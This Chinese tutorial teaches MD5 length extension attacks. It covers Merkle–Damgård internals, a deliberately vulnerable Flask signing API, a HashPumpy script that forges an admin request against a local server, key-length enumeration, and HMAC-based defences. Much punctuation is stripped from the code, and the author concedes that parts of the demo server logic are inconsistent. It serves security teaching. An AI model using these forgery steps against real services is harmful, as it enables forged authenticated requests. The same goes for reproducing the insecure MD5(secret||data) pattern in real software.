1. 项目概述当“完整性”不再完整在信息安全领域哈希函数Hash Function长期扮演着“数字指纹”或“完整性校验器”的角色。MD5Message-Digest Algorithm 5作为其中曾经的一员大将其设计初衷正是为了将任意长度的数据映射为一个固定长度128位的唯一摘要值。理论上哪怕原始数据只改动一个比特其MD5值也会发生“雪崩效应”变得面目全非。因此它被广泛用于验证文件完整性、数字签名以及——我们今天要重点讨论的——消息认证码MAC的构造。然而正是这个看似固若金汤的“完整性”堡垒存在一个经典且危险的裂缝长度扩展攻击Length Extension Attack。这个漏洞与MD5算法本身的结构性缺陷直接相关它允许攻击者在不知道原始密钥Secret Key的情况下仅凭已知的原始消息Message及其对应的MD5哈希值就能构造出一条新的、有效的“消息填充附加数据”并计算出其合法的MD5值。这意味着一个依赖“密钥消息”计算MD5来验证数据完整性的系统其防线可能被轻易绕过。我之所以对这个话题有如此深的感触是因为在早年的安全审计工作中曾亲眼见过一个基于“MD5(密钥交易参数)”进行API签名的系统被此漏洞攻破。攻击者并未破解密钥却成功伪造了高额交易请求。从那时起我就意识到理解并复现这种攻击对于任何从事开发或安全相关工作的人来说都不是纸上谈兵而是构建真正安全意识的必修课。本次我们将借助一个名为HashPumpy的强大工具亲手揭开MD5长度扩展攻击的神秘面纱让你不仅明白其原理更能亲手操作深刻理解其危害。2. 核心原理深度拆解MD5算法的“内部时钟”要理解长度扩展攻击我们必须先钻进MD5算法的“肚子”里看看它是如何工作的。MD5属于Merkle–Damgård结构简称MD结构的哈希函数其核心过程可以概括为“压缩”二字。2.1 MD5的压缩函数与内部状态MD5处理消息时首先会对消息进行填充使其长度满足(长度 % 512) 448比特然后附加一个64位的原始消息长度信息。填充后的消息被分割成若干个512比特64字节的块。对于每一个消息块MD5算法会将其与一个128比特的“内部状态”Internal State一起送入一个复杂的压缩函数Compression Function中进行多轮混淆和压缩运算。这个128位的内部状态在算法开始时被初始化为一个固定的值IVInitialization Vector。处理完第一个消息块后输出的128位结果作为新的内部状态与下一个消息块一起送入压缩函数如此迭代直到处理完所有消息块。最终的那个128位内部状态就是整个消息的MD5哈希值。这里的关键在于这个128位的内部状态是算法处理过程的“记忆单元”和“上下文”。它完整地编码了到当前为止所有已处理消息块的累积效应。2.2 长度扩展攻击的致命逻辑现在考虑一个典型的MAC使用场景MAC MD5(Secret_Key Message)。服务器和客户端共享密钥Secret_Key客户端发送消息Message和对应的MAC值给服务器服务器用同样的方式计算并比对以验证消息的完整性和真实性。攻击者截获了Message和MAC。在长度扩展攻击中攻击者扮演了一个“时间旅行者”的角色逆向初始状态攻击者知道最终的MAC值。由于MD5的压缩函数在理论上是不可逆的但MD5算法的最后一个输出即MAC恰恰就是处理完Secret_Key Message Padding整个序列后的内部状态。攻击者可以将这个MAC值作为继续计算新哈希的初始状态IV‘。构造扩展消息攻击者想要附加任意数据Append。他需要知道原始消息Secret_Key Message被填充后的总长度虽然他不知道密钥但可以假设或猜测密钥长度。利用这个长度信息他可以正确地构造出针对Secret_Key Message Padding Append这个新序列的填充格式。计算新哈希现在攻击者以MAC即旧的内部状态作为新的IV以Append加上针对新总长度的正确填充作为新的消息块输入MD5压缩函数进行计算。得到的结果正是MD5(Secret_Key Message Padding Append)的哈希值。这个结果的正确性源于MD5算法的迭代结构。服务器在验证时计算的是MD5(Secret_Key Message Padding Append)。由于攻击者构造的扩展消息格式完全正确并且使用了正确的“中间状态”作为起点所以双方的计算过程从Append部分开始是完全同步的最终结果必然一致。注意这里最精妙也是最危险的地方在于攻击者完全不需要知道密钥Secret_Key的内容。他只需要知道密钥的长度或能合理猜测以及原始的(Message, MAC)对就可以完成攻击。密钥长度往往可以通过旁路攻击如时间差或简单枚举如常见的16、32字节来确定。2.3 为什么是MD5其他算法呢MD5因其广泛的历史应用和已被证实的多重密码学缺陷如碰撞攻击使得长度扩展攻击对其尤为有效。同样基于MD结构的哈希函数如SHA-1、SHA-256等在未进行特殊处理的情况下同样普遍存在长度扩展攻击的风险。因此现代安全实践在构造MAC时绝对不直接使用H(key message)这种模式其中H是MD结构的哈希函数。取而代之的是HMACHash-based Message Authentication Code方案。HMAC通过两次哈希和密钥的特殊处理有效地防御了长度扩展攻击。其公式大致为HMAC H((key ⊕ opad) || H((key ⊕ ipad) || message))这种结构将密钥与消息的交互方式复杂化使得攻击者无法简单地利用最终哈希值作为扩展计算的起点。3. 工具与环境准备HashPumpy详解工欲善其事必先利其器。手动实现MD5的长度扩展攻击涉及繁琐的位操作、填充计算和状态初始化极易出错。因此我们使用一个专门为此而生的工具——HashPumpy。3.1 HashPumpy是什么HashPumpy是一个用Python编写的开源工具其名称正是“Hash Length Extension Attack”的趣味缩写。它的核心功能就是自动化地执行我们上面描述的攻击过程给定原始数据的哈希值、原始数据长度、要附加的数据以及密钥长度或原始数据总长度它能够计算出扩展后数据的正确哈希值并生成完整的攻击载荷即原始数据填充附加数据。它的优势在于将复杂的密码学操作封装成简单的函数调用让我们可以专注于攻击逻辑的理解和利用场景的构建而非算法实现的细节。3.2 环境搭建与安装HashPumpy的安装非常简单。由于它是一个Python 2/3兼容的库我们通常直接通过pip安装其移植版本hashpumpy注意包名是hashpump的移植。# 使用pip安装 pip install hashpumpy安装完成后可以在Python交互环境中测试是否安装成功import hashpumpy help(hashpumpy.hashpump) # 查看主要函数帮助主要函数hashpump的签名通常如下hashpump(original_hash, original_data, data_to_add, key_length) - (new_hash, new_data)original_hash: 原始消息的十六进制哈希字符串即我们截获的MAC。original_data: 原始消息不含密钥的字符串。data_to_add: 想要附加的数据字符串。key_length: 猜测的密钥长度字节。返回值一个元组包含扩展后新消息的十六进制哈希字符串以及完整的攻击载荷二进制形式。3.3 可选辅助工具为了更完整地复现攻击链我们可能还需要一个简单的Web服务器或脚本用于模拟使用MD5(keydata)进行验证的受害服务。可以用Python的Flask框架快速搭建。网络请求工具如curl或Python的requests库用于发送构造好的攻击请求。十六进制编辑器或xxd命令用于查看和分析包含不可见填充字符的攻击载荷。4. 实战复现构建一个完整的攻击案例理论说得再多不如亲手一试。让我们构建一个完整的场景从搭建一个脆弱的服务开始到利用HashPumpy完成攻击。4.1 场景设定一个脆弱的API签名假设我们有一个简单的API服务它提供一个/admin/getflag接口来获取敏感信息flag。为了确保请求来自合法客户端它使用了一种“经典”的签名方案密钥secret sup3rs3cr3tk3y服务器和合法客户端共享攻击者未知。客户端构造请求例如message userguestcmdview。客户端计算签名sig md5(secret message)并将message和sig一起发送给服务器。服务器收到后用同样的方式计算md5(secret message)并与收到的sig比对。一致则执行请求。我们的目标作为攻击者我们不知道secret但我们可以截获一个合法请求例如messageuserguestcmdview和其对应的sig。我们想构造一个能通过验证的恶意请求将其中的message篡改为useradmincmdgetflag。4.2 步骤一搭建脆弱服务靶机我们用一个简单的Python Flask应用来模拟这个服务# vulnerable_server.py from flask import Flask, request, jsonify import hashlib app Flask(__name__) SECRET_KEY bsup3rs3cr3tk3y # 假设的密钥 def compute_mac(data): 脆弱的MAC计算方式MD5(secret || data) h hashlib.md5() h.update(SECRET_KEY data.encode(utf-8)) return h.hexdigest() app.route(/api/action, methods[POST]) def api_action(): data request.form.get(data, ) sig request.form.get(sig, ) if not data or not sig: return jsonify({error: Missing data or sig}), 400 # 服务器端验证 calculated_sig compute_mac(data) if calculated_sig sig: # 验证通过解析并执行命令这里简化处理 if cmdgetflag in data and useradmin in data: return jsonify({status: success, flag: FLAG{This_Is_Your_Hacked_Flag}}) else: return jsonify({status: success, message: Command executed (but no flag for you)}) else: return jsonify({error: Invalid signature}), 403 if __name__ __main__: app.run(debugTrue, port5000)运行这个脚本一个脆弱的API服务就在本地的5000端口启动了。4.3 步骤二截获与观察合法请求假设我们通过流量监听截获了一个合法客户端发出的请求原始数据data:userguestcmdview签名sig:b5b37e2b6d6cbcc0c6e3f7d8f103a3c5这是用上述密钥计算出的MD5值此处为示例实际运行会得到不同结果我们不知道密钥但我们可以观察或猜测API的格式。假设我们通过信息收集推测密钥长度可能是16字节sup3rs3cr3tk3y正好是13字节但我们可以尝试常见长度如8, 12, 16, 24, 32。4.4 步骤三使用HashPumpy构造攻击现在我们扮演攻击者使用HashPumpy来构造一个能通过签名验证的恶意请求。# attack.py import hashpump import requests import hashlib # 已知信息 original_hash b5b37e2b6d6cbcc0c6e3f7d8f103a3c5 # 截获的签名 original_data userguestcmdview # 截获的原始消息 data_to_add useradmincmdgetflag # 想要附加的恶意指令 # 注意附加的数据需要以符合原数据格式的方式连接。因为原数据末尾没有分隔符我们添加来扩展参数。 # 猜测密钥长度。我们需要尝试。已知密钥是13字节但攻击者不知道需要枚举。 # 我们先尝试一个可能的长度比如 16。 key_length_guess 16 # 使用hashpump进行攻击计算 new_hash, new_data hashpump.hashpump(original_hash, original_data, data_to_add, key_length_guess) print([*] 原始签名:, original_hash) print([*] 原始数据:, repr(original_data)) print([*] 猜测的密钥长度:, key_length_guess) print([*] 要附加的数据:, repr(data_to_add)) print(\n[] 攻击生成结果:) print( 新的签名 (sig):, new_hash) print( 新的数据 (data, 十六进制显示):, new_data.hex()) print( 新的数据 (data, 尝试解码):, repr(new_data)) # 为了发送HTTP请求我们需要将new_data进行URL安全的编码 # 因为new_data包含了MD5填充比特不可打印字符不能直接作为表单字符串。 # 通常我们会将其进行十六进制编码或Base64编码后发送。 import base64 new_data_b64 base64.b64encode(new_data).decode(ascii) print( 新的数据 (Base64编码用于传输):, new_data_b64) # 构造并发送攻击请求 url http://127.0.0.1:5000/api/action payload { data: new_data_b64, # 服务器端需要相应解码 sig: new_hash } # 注意实际攻击中服务器可能直接接收二进制数据或另一种编码方式需要根据目标调整。 # 这里我们假设服务器端修改了接口能接受base64编码的data。 print(\n[*] 发送攻击载荷...) response requests.post(url, datapayload) print([] 服务器响应:, response.text)关键点解析hashpump函数返回的new_data是二进制数据它包含了original_data MD5填充字节 data_to_add。这些填充字节是根据len(secret) len(original_data)计算出来的包含比特1、若干0和长度信息。这些填充字节是不可打印字符无法直接放在URL或表单的data字段中。因此在实际攻击中我们需要根据目标服务器的数据解析方式对new_data进行适当的编码如Base64、十六进制并确保服务器端能以同样的方式解码。密钥长度key_length_guess是关键。如果猜错构造的填充就不正确攻击会失败。在实际攻击中这可能需要进行枚举。4.5 步骤四服务端适配与攻击验证为了让上面的攻击脚本能直接工作我们需要稍微修改一下服务器端代码使其能处理Base64编码的data字段。# 修改 vulnerable_server.py 中的 /api/action 端点部分 import base64 app.route(/api/action, methods[POST]) def api_action(): data_b64 request.form.get(data, ) sig request.form.get(sig, ) if not data_b64 or not sig: return jsonify({error: Missing data or sig}), 400 try: # 解码Base64得到原始数据包含填充和附加数据 data base64.b64decode(data_b64) # 注意compute_mac函数接收的是字节串我们需要将整个解码后的data传给它 # 但compute_mac内部是 SECRET_KEY data这里data已经是包含原始消息和填充的完整载荷了。 # 实际上服务器应该计算 MD5(SECRET_KEY || 原始消息 || 填充 || 附加数据) # 而我们的data变量现在就是原始消息 || 填充 || 附加数据。 # 所以直接调用 compute_mac(data) 在逻辑上不对因为compute_mac会再做一次 SECRET_KEY data。 # 这里暴露出我们模拟的一个简化点真实攻击中服务器是拿收到的整个“数据部分”去验证的。 # 我们需要调整服务器验证逻辑使其直接计算 MD5(SECRET_KEY || 收到的完整数据)。 # 为了简化演示我们假设服务器端知道客户端发送的是“原始消息”而攻击者发送的是“原始消息填充附加数据”。 # 更真实的模拟是服务器端验证时会重新计算整个序列的哈希。 # 让我们修正compute_mac_for_attack函数使其能处理这种场景。 calculated_sig compute_mac(data.decode(latin-1)) # 简单解码可能不严谨仅演示 except Exception as e: return jsonify({error: fData decode failed: {e}}), 400 if calculated_sig sig: # 验证通过后服务器需要从data中解析出真正的“命令”部分。 # 由于我们附加了useradmincmdgetflag服务器解析整个参数字符串时后面的参数会覆盖前面的。 # 这里我们简单判断字符串内容。 if bcmdgetflag in data and buseradmin in data: return jsonify({status: success, flag: FLAG{This_Is_Your_Hacked_Flag}}) else: return jsonify({status: success, message: Command executed}) else: return jsonify({error: Invalid signature}), 403这个修改后的服务器会解码Base64的data然后计算MD5(secret 解码后的数据)并与签名比较。这正是长度扩展攻击成功的前提服务器验证的是整个拼接后的字符串的哈希。运行修改后的服务器和攻击脚本如果密钥长度猜测正确你应该会看到攻击成功服务器返回了包含flag的成功响应。5. 攻击的深层细节与难点剖析复现成功只是第一步。在实际渗透测试或安全研究中会遇到更多复杂情况。5.1 密钥长度枚举攻击成功的关键之一是正确猜测密钥长度。HashPumpy需要这个参数来正确计算原始消息的填充。如果猜错构造的填充块就不对最终的哈希值必然无法通过验证。枚举策略常见长度优先尝试常见的密钥长度如8、12、16、24、32字节。错误信息分析观察服务器对不同长度猜测的响应。有时签名验证失败和格式解析错误会返回不同的HTTP状态码或错误信息这可以提供线索。时间侧信道在某些实现中验证过程可能因长度不同而有细微的时间差异但这需要精密的测量。已知格式推断如果密钥是某种特定格式如UUID是36字符但作为字节是16或22等可以缩小范围。在脚本中我们可以简单地写一个循环进行枚举for key_len in range(8, 33): # 尝试8到32字节 try: new_hash, new_data hashpump.hashpump(original_hash, original_data, data_to_add, key_len) # 然后用new_hash和new_data去尝试请求 # 如果收到成功响应就找到了正确的key_len print(f尝试密钥长度 {key_len}: 生成的签名 {new_hash[:8]}...) # ... 发送请求测试 ... except Exception as e: # hashpump可能对某些长度参数抛出异常 continue5.2 数据格式与编码难题这是实际攻击中最棘手的部分之一。我们的攻击载荷new_data是二进制数据包含了不可见的填充字符。服务器如何解析data直接作为字符串处理如果服务器期望data是纯文本参数如application/x-www-form-urlencoded那么包含\x80、\x00等填充字节的二进制数据会破坏解析导致攻击失败。服务器可能在验证签名前就因解析错误而拒绝请求。作为二进制流或特定编码处理如果服务器将data字段视为二进制数据例如先进行Base64解码或直接读取原始请求体那么攻击才有可能成功。我们的模拟案例采用了Base64编码来绕过这个问题。参数污染Parameter Pollution 在我们的例子中附加的数据是useradmincmdgetflag。当服务器解析整个参数字符串时后面的useradmin会覆盖前面的userguest。这种技巧在Web攻击中很常见。但需要了解目标服务器的参数解析顺序通常是后到优先。填充破坏原有语义 MD5填充会在原始消息后添加一个0x80字节然后是若干个0x00最后是长度编码。如果原始消息是像JSON或XML这样的结构化数据这些额外的字节会破坏其语法导致解析失败。攻击可能需要对附加数据进行精心设计或者利用某些解析器的容错性。5.3 哈希值编码与比较服务器端如何比较哈希值也可能引入问题大小写敏感MD5哈希值通常是32位十六进制小写字符串。确保攻击生成的new_hash格式与服务器期望的一致。二进制比较有些实现可能直接比较二进制哈希值16字节而非十六进制字符串。需要根据情况调整。6. 防御之道如何避免长度扩展攻击理解了攻击防御措施就非常明确了。核心原则是不要使用H(key || message)或H(message || key)这种简单的拼接方式来构造MAC。使用HMAC这是最标准、最安全的解决方案。几乎所有现代编程语言的标准库都提供了HMAC的实现。例如在Python中import hmac import hashlib key bsup3rs3cr3tk3y message buseradmincmdgetflag sig hmac.new(key, message, hashlib.sha256).hexdigest() # 使用SHA-256HMAC的结构天然免疫长度扩展攻击。使用抗长度扩展的哈希函数一些较新的哈希函数如SHA-3Keccak家族其内部结构海绵结构与MD结构不同不存在长度扩展攻击问题。可以直接使用SHA3-256(key || message)但为了保持最佳实践和一致性仍然推荐使用HMAC-SHA3。对消息进行变形如果因历史原因必须使用MD5或SHA-1等可以采用一些变形来破坏攻击但这只是权宜之计并非根本解决方案。例如H(key || H(key || message))双哈希嵌套。H(key || message || key)将密钥包裹消息。确保消息具有固定的、已知的格式或长度使得攻击者无法正确构造填充。但这些方法都可能存在其他潜在弱点且增加了复杂性。密钥与消息分离验证一种思路是将签名与消息长度绑定。例如在签名中包含原始消息的长度sig H(key || length(message) || message)。这样攻击者扩展消息后长度信息不匹配验证会失败。但这需要修改验证逻辑。最重要的建议对于任何新的系统无条件地使用HMAC。对于遗留系统应将其迁移到HMAC。安全审计时将MD5(key||msg)或SHA1(key||msg)的使用标记为高危漏洞。7. 工具扩展与相关漏洞挖掘HashPumpy主要针对MD5和SHA-1。但长度扩展攻击的概念适用于所有基于Merkle–Damgård结构的哈希函数。社区也有其他工具支持更多算法Hash Extender另一个功能类似的工具支持更多哈希算法如MD4, MD5, SHA-1, SHA-256, SHA-512等。手动实现对于研究者理解原理后可以手动编写攻击脚本这有助于深入理解哈希函数每一轮的处理细节。在实际漏洞挖掘中长度扩展攻击常出现在Web应用API签名如我们演示的例子。某些自定义的会话Cookie或令牌生成机制。文件完整性校验如果校验方式是H(secret || file_content)。区块链某些智能合约的验证逻辑虽然以太坊的SHA3不受此影响但自定义的验证模式可能出错。在代码审计时可以搜索模式如md5(.*?\.*?)、hashlib\.md5\(.*?\.*?\)注意实际连接符可能是字符串拼接或格式化并仔细审查其验证逻辑。8. 总结与个人体会通过这次从原理到实战的完整复现我们可以清晰地看到一个看似简单的密码学原语MD5在不正确的使用模式下会带来多么严重的后果。长度扩展攻击的精妙之处在于它完全绕过了对密钥的破解利用的是算法结构本身的特性。我在多次内部培训和代码审计中反复强调这一点开发者对于密码学API的使用必须遵循权威指南和最佳实践切忌自己发明“聪明”的签名方案。md5(secret data)这种模式在互联网上随处可见的示例代码中流传其危险性却未被充分认知。使用HashPumpy这样的工具进行复现价值不仅仅在于“学会了一种攻击”。更深层的价值在于它能以一种非常直观和令人印象深刻的方式让开发者和安全人员建立起对密码学抽象概念的具象理解。当你亲手用几行代码就让一个看似安全的验证机制沦陷时你才会真正敬畏那些看似枯燥的安全规范。最后一个小技巧在测试自己系统的MAC实现时除了使用HashPumpy进行正向攻击测试外还可以尝试构造一些畸形的、包含填充字符的输入观察系统的处理是否健壮是否会在验证哈希之前就因解析错误而崩溃或暴露信息这有时能发现其他意想不到的漏洞。安全是一个整体任何一个环节的疏忽都可能成为突破口。